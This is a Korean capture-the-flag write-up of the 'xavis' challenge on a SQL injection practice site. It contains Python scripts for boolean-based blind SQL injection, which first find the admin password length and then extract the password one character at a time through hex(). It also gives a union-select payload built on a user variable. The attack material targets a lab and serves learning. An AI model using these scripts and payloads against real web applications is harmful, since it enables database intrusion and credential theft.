Write-Up
첫번째 시도 ( Fail )
import requests
import string
url="https://los.rubiya.kr/chall/xavis_04f071ecdadb4296361d2101e4a2c390.php?pw='or id='admin'%26%26length(pw)= "
cookies ={'PHPSESSID':"p0cct2pi257sma3qvmjcgbv5cb"}
for i in range(100):
param=str(i)+"%23"
URL = url+param
print(URL)
response = requests.get(URL, cookies=cookies)
if "Hello admin" in response.text:
print(i)
break
id가 admin일 경우 pw 길이가 12 글자임을 확인했다. 그리고 아래와 같은 코드로 pw 를 구하고자 했다.
import requests
import string
url="https://los.rubiya.kr/chall/xavis_04f071ecdadb4296361d2101e4a2c390.php?pw='or id='admin' and "
cookies ={'PHPSESSID':"p0cct2pi257sma3qvmjcgbv5cb"}
result=""
for i in range(1,13):
for j in range(32,127):
# param="ascii(substr(pw,"+str(i)+",1))="+str(j)+"%23"
param="hex(substr(pw,"+str(i)+",1)) = "+"hex("+str(j)+")%23"
URL = url+param
response = requests.get(URL, cookies=cookies)
# print(response.text)
if "Hello admin" in response.text:
result += chr(j)
print(result)
break
print("pw: "+result)
그러나 pw가 전혀 구해지지 않았고, 왜 그런지 몰라 다른 Write-Up을 봐, 해답을 얻게 되었다.
두번째 시도
pw가 그동안 처럼 숫자,알파벳, 특수문자가 아니며, ascii 코드 형태가 아닌 hex 형태로 출력 시켜야 함을 알게 되었다.
import requests
import string
url="https://los.rubiya.kr/chall/xavis_04f071ecdadb4296361d2101e4a2c390.php?pw='or id='admin'%26%26length(hex(pw))= "
cookies ={'PHPSESSID':"p0cct2pi257sma3qvmjcgbv5cb"}
for i in range(30):
param=str(i)+"%23"
URL = url+param
print(URL)
response = requests.get(URL, cookies=cookies)
if "Hello admin" in response.text:
print(i)
break
먼저, 위와 같은 코드를 통해 pw 길이를 다시 구해주었다. ( 변경된 부분은 hex(pw) 이다. )
이제 본격적으로 pw를 구해본다.
import requests
import string
url="https://los.rubiya.kr/chall/xavis_04f071ecdadb4296361d2101e4a2c390.php?pw='or id='admin' and "
cookies ={'PHPSESSID':"p0cct2pi257sma3qvmjcgbv5cb"}
result=""
for i in range(1,25):
for j in range(32,127):
# param="ascii(substr(pw,"+str(i)+",1))="+str(j)+"%23"
param="ascii(substr(hex(pw),"+str(i)+",1)) = "+str(j)+"%23"
URL = url+param
response = requests.get(URL, cookies=cookies)
# print(response.text)
if "Hello admin" in response.text:
result += chr(j)
print(result)
break
print("pw: "+result)
param="ascii(substr(hex(pw),"+str(i)+",1)) = "+str(j)+"%23" 와 같이 수정 후 코드를 실행 시켰고, 결과는 아래와 같다.
pw: 0000C6B00000C6550000AD73
위와 같이 출력된 16진수 pw 값을 유니코드로 변환해 준다.
세번째 시도
두번째 시도에서 정답은 구했지만, 다른 추가적인 방법이 있어, 공부할 겸 사용해보려 한다.
select @local_variable="happy";
@local_variable은 SQL 문에서 값을 할당하기 위해 선언하는 지역 변수이다. 해당 쿼리문의 의미는 local_variable 변수에 "happy"라는 값을 할당한다는 뜻이다.
해당 방법을 문제에 적용해본다.
select @a:=pw where id='admin'
해당 쿼리 문의 의미는 admin의 pw를 @a 라는 변수에 할당한다는 의미이다. 그러나 해당 쿼리는 @a 변수에 값을 대입하지만 해당 값을 출력할 수는 없기에, union 구문을 사용해 @a의 값을 반환해준다.
최종 payload를 이용해 pw를 추출해내보자!
?pw = 'or (select @a:=pw where id='admin') union select @a%23
실습
실습에서 볼 수 있는대로, 똑같이 password를 뽑아낼 수 있었다. 그런데 궁금한점? 이 있다. union select 구문 수행 시 해당 컬럼 타입과 맞지 않으면 에러가 반환되는 것으로 알고 있는데.. 막해도 잘 출력되었다. 이 부분은 공부를 좀 더 해보기로 한다!
참고
http://zulloper.tistory.com/119
https://lng1982.tistory.com/233
https://time-storage.tistory.com/130